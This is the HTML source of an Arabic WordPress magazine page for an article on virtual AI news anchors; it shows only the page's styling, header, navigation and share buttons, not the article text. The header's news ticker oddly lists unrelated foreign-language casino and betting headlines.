.post-content-slideshow,body #tie-read-next,body .prev-next-post-nav .post-thumb,body .post-thumb img,body .container-wrapper,body .tie-popup-container .container-wrapper,body .widget,body .grid-slider-wrapper .grid-item,body .slider-vertical-navigation .slide,body .boxed-slider:not(.grid-slider-wrapper) .slide,body .buddypress-wrap .activity-list .load-more a,body .buddypress-wrap .activity-list .load-newest a,body .woocommerce .products .product .product-img img,body .woocommerce .products .product .product-img,body .woocommerce .woocommerce-tabs,body .woocommerce div.product .related.products,body .woocommerce div.product .up-sells.products,body .woocommerce .cart_totals,.woocommerce .cross-sells,body .big-thumb-left-box-inner,body .miscellaneous-box .posts-items li:first-child,body .single-big-img,body .masonry-with-spaces .container-wrapper .slide,body .news-gallery-items li .post-thumb,body .scroll-2-box .slide,.magazine1.archive:not(.bbpress) .entry-header-outer,.magazine1.search .entry-header-outer,.magazine1.archive:not(.bbpress) .mag-box .container-wrapper,.magazine1.search .mag-box .container-wrapper,body.magazine1 .entry-header-outer + .mag-box,body .digital-rating-static,body .entry q,body .entry blockquote,body #instagram-link.is-expanded,body.single-post .featured-area,body.post-layout-8 #content,body .footer-boxed-widget-area,body .tie-video-main-slider,body .post-thumb-overlay,body .widget_media_image img,body .stream-item-mag img,body .media-page-layout .post-element{border-radius: 15px;}#subcategories-section .container-wrapper{border-radius: 15px !important;margin-top: 15px !important;border-top-width: 1px !important;}@media (max-width: 767px) {.tie-video-main-slider iframe{border-top-right-radius: 15px;border-top-left-radius: 15px;}}.magazine1.archive:not(.bbpress) .mag-box .container-wrapper,.magazine1.search .mag-box .container-wrapper{margin-top: 15px;border-top-width: 1px;}body .section-wrapper:not(.container-full) .wide-slider-wrapper .slider-main-container,body .section-wrapper:not(.container-full) .wide-slider-three-slids-wrapper{border-radius: 15px;overflow: hidden;}body .wide-slider-nav-wrapper,body .share-buttons-bottom,body .first-post-gradient li:first-child .post-thumb:after,body .scroll-2-box .post-thumb:after{border-bottom-left-radius: 15px;border-bottom-right-radius: 15px;}body .main-menu .menu-sub-content,body .comp-sub-menu{border-bottom-left-radius: 10px;border-bottom-right-radius: 10px;}body.single-post .featured-area{overflow: hidden;}body #check-also-box.check-also-left{border-top-right-radius: 15px;border-bottom-right-radius: 15px;}body #check-also-box.check-also-right{border-top-left-radius: 15px;border-bottom-left-radius: 15px;}body .mag-box .breaking-news-nav li:last-child{border-top-right-radius: 35px;border-bottom-right-radius: 35px;}body .mag-box .breaking-title:before{border-top-right-radius: 35px;border-bottom-right-radius: 35px;}body .tabs li:last-child a,body .full-overlay-title li:not(.no-post-thumb) .block-title-overlay{border-top-left-radius: 15px;}body .center-overlay-title li:not(.no-post-thumb) .block-title-overlay,body .tabs li:first-child a{border-top-right-radius: 15px;}.nf-error-msg,.ninja-forms-req-symbol { color: #e80000; display: none;}.block-head-6#tie-body .widget-title:after { background: #21419A;}.block-head-4#tie-body .widget-title:before { background: #21419A;}@media only screen and (max-width: 768px) and (min-width: 0px){ */}
</style>
<script type="text/javascript" src="https://tahkoom.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://tahkoom.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<link rel="https://api.w.org/" href="https://tahkoom.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://tahkoom.com/wp-json/wp/v2/posts/3050" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://tahkoom.com/xmlrpc.php?rsd" />
<link rel="stylesheet" href="https://tahkoom.com/wp-content/themes/jannah/rtl.css" type="text/css" media="screen" /><meta name="generator" content="WordPress 6.8.3" />
<link rel="canonical" href="https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" />
<link rel='shortlink' href='https://tahkoom.com/?p=3050' />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://tahkoom.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Ftahkoom.com%2F%25d9%2585%25d8%25b0%25d9%258a%25d8%25b9-%25d9%2585%25d9%2586-%25d9%2583%25d9%2588%25d8%25af%25d9%2585%25d9%2586-%25d8%25a7%25d9%2584%25d8%25a3%25d8%25b3%25d8%25aa%25d9%2588%25d8%25af%25d9%258a%25d9%2588-%25d8%25a5%25d9%2584%25d9%2589-%25d8%25a7%25d9%2584%25d8%25ae%25d9%2588%25d8%25a7%25d8%25b1%25d8%25b2%25d9%2585%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://tahkoom.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Ftahkoom.com%2F%25d9%2585%25d8%25b0%25d9%258a%25d8%25b9-%25d9%2585%25d9%2586-%25d9%2583%25d9%2588%25d8%25af%25d9%2585%25d9%2586-%25d8%25a7%25d9%2584%25d8%25a3%25d8%25b3%25d8%25aa%25d9%2588%25d8%25af%25d9%258a%25d9%2588-%25d8%25a5%25d9%2584%25d9%2589-%25d8%25a7%25d9%2584%25d8%25ae%25d9%2588%25d8%25a7%25d8%25b1%25d8%25b2%25d9%2585%2F&#038;format=xml" />
 <meta name="description" content=" كتبت: فرح سمير  في زمنٍ باتت فيه المذيعة تبتسم دون أن تملك روحًا، ويقدّم المذيع نشرة الأخبار دون أن يشعر بمحتواها، يطرح الواقع الإعلامي سؤالًا صادمًا" /><meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="icon" href="https://tahkoom.com/wp-content/uploads/2024/12/cropped-Wai-Logo-32x32.jpg" sizes="32x32" />
<link rel="icon" href="https://tahkoom.com/wp-content/uploads/2024/12/cropped-Wai-Logo-192x192.jpg" sizes="192x192" />
<link rel="apple-touch-icon" href="https://tahkoom.com/wp-content/uploads/2024/12/cropped-Wai-Logo-180x180.jpg" />
<meta name="msapplication-TileImage" content="https://tahkoom.com/wp-content/uploads/2024/12/cropped-Wai-Logo-270x270.jpg" />
		<style type="text/css" id="wp-custom-css">
			.mag-box-title{
	justify-content: center;
}
.mag-box-title:before{
	  content: '';
    width: 100%;
    position: absolute;
    height: 2px;
    background-color: #565656;
    top: 16px;
}
.mag-box-title h3:before, .mag-box-title h3:after{
	border-radius: 5px;
}
.tie-logo-img-default, .tie-logo-img-inverted{
	max-height: 100px !important;
}
.mag-box-title h3{
	color: white !important;
}
		</style>
		</head>

<body id="tie-body" class="rtl wp-singular post-template-default single single-post postid-3050 single-format-standard wp-theme-jannah boxed-layout framed-layout wrapper-has-shadow block-head-4 block-head-6 magazine3 magazine1 is-thumb-overlay-disabled is-desktop is-header-layout-2 sidebar-right has-sidebar post-layout-1 narrow-title-narrow-media is-standard-format has-mobile-share post-has-toggle hide_share_post_top hide_share_post_bottom">



<div class="background-overlay">

	<div id="tie-container" class="site tie-container">

		
		<div id="tie-wrapper">

			
<header id="theme-header" class="theme-header header-layout-2 main-nav-dark main-nav-default-dark main-nav-below no-stream-item top-nav-active top-nav-dark top-nav-default-dark top-nav-above has-shadow has-normal-width-logo mobile-header-centered">
	
<nav id="top-nav"  class="has-date-breaking-components top-nav header-nav has-breaking-news" aria-label="الشريط العلوي">
	<div class="container">
		<div class="topbar-wrapper">

			
					<div class="topbar-today-date">
						الأحد, مارس 1 2026					</div>
					
			<div class="tie-alignleft">
				
<div class="breaking controls-is-active">

	<span class="breaking-title">
		<span class="tie-icon-bolt breaking-icon" aria-hidden="true"></span>
		<span class="breaking-title-text">احدث المقالات</span>
	</span>

	<ul id="breaking-news-in-header" class="breaking-news" data-type="flipY" data-arrows="true">

		
							<li class="news-item">
								<a href="https://tahkoom.com/obzor-igr-na-pinko-kazino-ofitsialnyi-sait/">Обзор игр на пинко казино официальный сайт</a>
							</li>

							
							<li class="news-item">
								<a href="https://tahkoom.com/pinko-kazino-ofitsialnyi-sait-kliuchevye-aspekty-registratsii/">Пинко казино официальный сайт: ключевые аспекты регистрации</a>
							</li>

							
							<li class="news-item">
								<a href="https://tahkoom.com/porozumeni-procesu-overeni-pro-mostbet-prihlaseni/">Porozumění procesu ověření pro Mostbet přihlášení</a>
							</li>

							
							<li class="news-item">
								<a href="https://tahkoom.com/sravnenie-sportivnykh-lig-na-1khbet-ofitsialnom-saite/">Сравнение спортивных лиг на 1хбет официальном сайте</a>
							</li>

							
							<li class="news-item">
								<a href="https://tahkoom.com/mostbet-d-balans-artirma-usullari-hansi-yollar-effektivdir/">Mostbet-də balans artırma üsulları: Hansı yollar effektivdir?</a>
							</li>

							
	</ul>
</div><!-- #breaking /-->
			</div><!-- .tie-alignleft /-->

			<div class="tie-alignright">
				<ul class="components"> <li class="social-icons-item"><a class="social-link facebook-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.facebook.com/share/1QKWyPHszc/?mibextid=wwXIfr"><span class="tie-social-icon tie-icon-facebook"></span><span class="screen-reader-text">فيسبوك</span></a></li><li class="social-icons-item"><a class="social-link instagram-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.instagram.com/tahkom_?igsh=NGZzYjF0N3N3dWcy&#038;utm_source=qr"><span class="tie-social-icon tie-icon-instagram"></span><span class="screen-reader-text">انستقرام</span></a></li><li class="social-icons-item"><a class="social-link social-custom-link custom-link-1-social-icon" rel="external noopener nofollow" target="_blank" href="mailto:tahkoom@outlook.com"><span class="tie-social-icon fas fa-mail-bulk"></span><span class="screen-reader-text">البريد الالكتروني</span></a></li> </ul><!-- Components -->			</div><!-- .tie-alignright /-->

		</div><!-- .topbar-wrapper /-->
	</div><!-- .container /-->
</nav><!-- #top-nav /-->

<div class="container header-container">
	<div class="tie-row logo-row">

		
		<div class="logo-wrapper">
			<div class="tie-col-md-4 logo-container clearfix">
				<div id="mobile-header-components-area_1" class="mobile-header-components"><ul class="components"><li class="mobile-component_search custom-menu-link">
				<a href="#" class="tie-search-trigger-mobile">
					<span class="tie-icon-search tie-search-icon" aria-hidden="true"></span>
					<span class="screen-reader-text">بحث عن</span>
				</a>
			</li></ul></div>
		<div id="logo" class="image-logo" style="margin-top: 10px; margin-bottom: 5px;">

			
			<a title="tahkoom.com" href="https://tahkoom.com/">
				
				<picture id="tie-logo-default" class="tie-logo-default tie-logo-picture">
					
					<source class="tie-logo-source-default tie-logo-source" srcset="https://tahkoom.com/wp-content/uploads/2025/05/تحكم.png">
					<img class="tie-logo-img-default tie-logo-img" src="https://tahkoom.com/wp-content/uploads/2025/05/تحكم.png" alt="tahkoom.com" width="700" height="315" style="max-height:315px; width: auto;" />
				</picture>
			
					<picture id="tie-logo-inverted" class="tie-logo-inverted tie-logo-picture">
						
						<source class="tie-logo-source-inverted tie-logo-source" id="tie-logo-inverted-source" srcset="https://tahkoom.com/wp-content/uploads/2025/05/تحكم.png">
						<img class="tie-logo-img-inverted tie-logo-img" loading="lazy" id="tie-logo-inverted-img" src="https://tahkoom.com/wp-content/uploads/2025/05/تحكم.png" alt="tahkoom.com" width="700" height="315" style="max-height:315px; width: auto;" />
					</picture>
							</a>

			
		</div><!-- #logo /-->

		<div id="mobile-header-components-area_2" class="mobile-header-components"><ul class="components"><li class="mobile-component_menu custom-menu-link"><a href="#" id="mobile-menu-icon" class=""><span class="tie-mobile-menu-icon nav-icon is-layout-1"></span><span class="screen-reader-text">القائمة</span></a></li></ul></div>			</div><!-- .tie-col /-->
		</div><!-- .logo-wrapper /-->

		
	</div><!-- .tie-row /-->
</div><!-- .container /-->

<div class="main-nav-wrapper">
	<nav id="main-nav" data-skin="search-in-main-nav" class="main-nav header-nav live-search-parent menu-style-default menu-style-solid-bg"  aria-label="القائمة الرئيسية">
		<div class="container">

			<div class="main-menu-wrapper">

				
				<div id="menu-components-wrap">

					
					<div class="main-menu main-menu-wrap">
						<div id="main-nav-menu" class="main-menu header-menu"><ul id="menu-tielabs-main-menu" class="menu"><li id="menu-item-978" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-978"><a href="/">الرئيسية</a></li>
<li id="menu-item-1674" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1674"><a href="https://tahkoom.com/category/%d8%aa%d9%81%d8%a7%d8%b9%d9%84/">تفاعل</a></li>
<li id="menu-item-1675" class="menu-item menu-item-type-taxonomy menu-item-object-category current-post-ancestor current-menu-parent current-post-parent menu-item-1675 tie-current-menu"><a href="https://tahkoom.com/category/%d8%ae%d8%b7%d9%88%d8%a9/">خطوة</a></li>
<li id="menu-item-1673" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1673"><a href="https://tahkoom.com/category/%d9%85%d8%b9%d8%b1%d9%81%d8%a9/">معرفة</a></li>
<li id="menu-item-2842" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2842"><a href="https://tahkoom.com/category/%d8%ae%d8%af%d9%85%d8%a9/">خدمة</a></li>
<li id="menu-item-1671" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1671"><a href="https://tahkoom.com/category/%d9%85%d9%8a%d8%af%d9%8a%d8%a7/">ميديا</a></li>
<li id="menu-item-1358" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1358"><a href="https://tahkoom.com/%d9%85%d9%86-%d9%86%d8%ad%d9%86/">عن المجلة</a></li>
<li id="menu-item-1363" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1363"><a href="https://tahkoom.com/%d8%a7%d8%aa%d8%b5%d9%84-%d8%a8%d9%86%d8%a7/">اتصل بنا</a></li>
</ul></div>					</div><!-- .main-menu /-->

					<ul class="components">	<li class="skin-icon menu-item custom-menu-link">
		<a href="#" class="change-skin" title="الوضع المظلم">
			<span class="tie-icon-moon change-skin-icon" aria-hidden="true"></span>
			<span class="screen-reader-text">الوضع المظلم</span>
		</a>
	</li>
				<li class="search-compact-icon menu-item custom-menu-link">
				<a href="#" class="tie-search-trigger">
					<span class="tie-icon-search tie-search-icon" aria-hidden="true"></span>
					<span class="screen-reader-text">بحث عن</span>
				</a>
			</li>
			</ul><!-- Components -->
				</div><!-- #menu-components-wrap /-->
			</div><!-- .main-menu-wrapper /-->
		</div><!-- .container /-->

			</nav><!-- #main-nav /-->
</div><!-- .main-nav-wrapper /-->

</header>

		<script type="text/javascript">
			try{if("undefined"!=typeof localStorage){var header,mnIsDark=!1,tnIsDark=!1;(header=document.getElementById("theme-header"))&&((header=header.classList).contains("main-nav-default-dark")&&(mnIsDark=!0),header.contains("top-nav-default-dark")&&(tnIsDark=!0),"dark"==tieSkin?(header.add("main-nav-dark","top-nav-dark"),header.remove("main-nav-light","top-nav-light")):"light"==tieSkin&&(mnIsDark||(header.remove("main-nav-dark"),header.add("main-nav-light")),tnIsDark||(header.remove("top-nav-dark"),header.add("top-nav-light"))))}}catch(a){console.log(a)}
		</script>
		<div id="content" class="site-content container"><div id="main-content-row" class="tie-row main-content-row">

<div class="main-content tie-col-md-8 tie-col-xs-12" role="main">

	
	<article id="the-post" class="container-wrapper post-content tie-standard">

		
<header class="entry-header-outer">

	<nav id="breadcrumb"><a href="https://tahkoom.com/"><span class="tie-icon-home" aria-hidden="true"></span> الرئيسية</a><em class="delimiter">/</em><a href="https://tahkoom.com/category/%d8%ae%d8%b7%d9%88%d8%a9/">خطوة</a><em class="delimiter">/</em><span class="current">مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟</span></nav><script type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","@id":"#Breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"item":{"name":"\u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629","@id":"https:\/\/tahkoom.com\/"}},{"@type":"ListItem","position":2,"item":{"name":"\u062e\u0637\u0648\u0629","@id":"https:\/\/tahkoom.com\/category\/%d8%ae%d8%b7%d9%88%d8%a9\/"}}]}</script>
	<div class="entry-header">

		<span class="post-cat-wrap"><a class="post-cat tie-cat-471" href="https://tahkoom.com/category/%d8%ae%d8%b7%d9%88%d8%a9/">خطوة</a></span>
		<h1 class="post-title entry-title">
			مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">يونيو 5, 2025</span><div class="tie-alignright"><span class="meta-views meta-item warm"><span class="tie-icon-fire" aria-hidden="true"></span> 1٬963 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 11 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
</header><!-- .entry-header-outer /-->



		<div id="share-buttons-top" class="share-buttons share-buttons-top">
			<div class="share-links  icons-only">
				
				<a href="https://www.facebook.com/sharer.php?u=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="فيسبوك" target="_blank" class="facebook-share-btn " data-raw="https://www.facebook.com/sharer.php?u={post_link}">
					<span class="share-btn-icon tie-icon-facebook"></span> <span class="screen-reader-text">فيسبوك</span>
				</a>
				<a href="https://twitter.com/intent/tweet?text=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‫X" target="_blank" class="twitter-share-btn " data-raw="https://twitter.com/intent/tweet?text={post_title}&amp;url={post_link}">
					<span class="share-btn-icon tie-icon-twitter"></span> <span class="screen-reader-text">‫X</span>
				</a>
				<a href="https://www.linkedin.com/shareArticle?mini=true&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;title=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="لينكدإن" target="_blank" class="linkedin-share-btn " data-raw="https://www.linkedin.com/shareArticle?mini=true&amp;url={post_full_link}&amp;title={post_title}">
					<span class="share-btn-icon tie-icon-linkedin"></span> <span class="screen-reader-text">لينكدإن</span>
				</a>
				<a href="https://www.tumblr.com/share/link?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;name=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="‏Tumblr" target="_blank" class="tumblr-share-btn " data-raw="https://www.tumblr.com/share/link?url={post_link}&amp;name={post_title}">
					<span class="share-btn-icon tie-icon-tumblr"></span> <span class="screen-reader-text">‏Tumblr</span>
				</a>
				<a href="https://pinterest.com/pin/create/button/?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;description=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;media=https://tahkoom.com/wp-content/uploads/2025/06/a07eca69-80d6-4b82-840d-6dcc17c803cf.jpeg" rel="external noopener nofollow" title="بينتيريست" target="_blank" class="pinterest-share-btn " data-raw="https://pinterest.com/pin/create/button/?url={post_link}&amp;description={post_title}&amp;media={post_img}">
					<span class="share-btn-icon tie-icon-pinterest"></span> <span class="screen-reader-text">بينتيريست</span>
				</a>
				<a href="https://reddit.com/submit?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;title=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="‏Reddit" target="_blank" class="reddit-share-btn " data-raw="https://reddit.com/submit?url={post_link}&amp;title={post_title}">
					<span class="share-btn-icon tie-icon-reddit"></span> <span class="screen-reader-text">‏Reddit</span>
				</a>
				<a href="https://vk.com/share.php?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‏VKontakte" target="_blank" class="vk-share-btn " data-raw="https://vk.com/share.php?url={post_link}">
					<span class="share-btn-icon tie-icon-vk"></span> <span class="screen-reader-text">‏VKontakte</span>
				</a>
				<a href="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&#038;st.shareUrl=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;description=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;media=https://tahkoom.com/wp-content/uploads/2025/06/a07eca69-80d6-4b82-840d-6dcc17c803cf.jpeg" rel="external noopener nofollow" title="Odnoklassniki" target="_blank" class="odnoklassniki-share-btn " data-raw="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&st.shareUrl={post_link}&amp;description={post_title}&amp;media={post_img}">
					<span class="share-btn-icon tie-icon-odnoklassniki"></span> <span class="screen-reader-text">Odnoklassniki</span>
				</a>
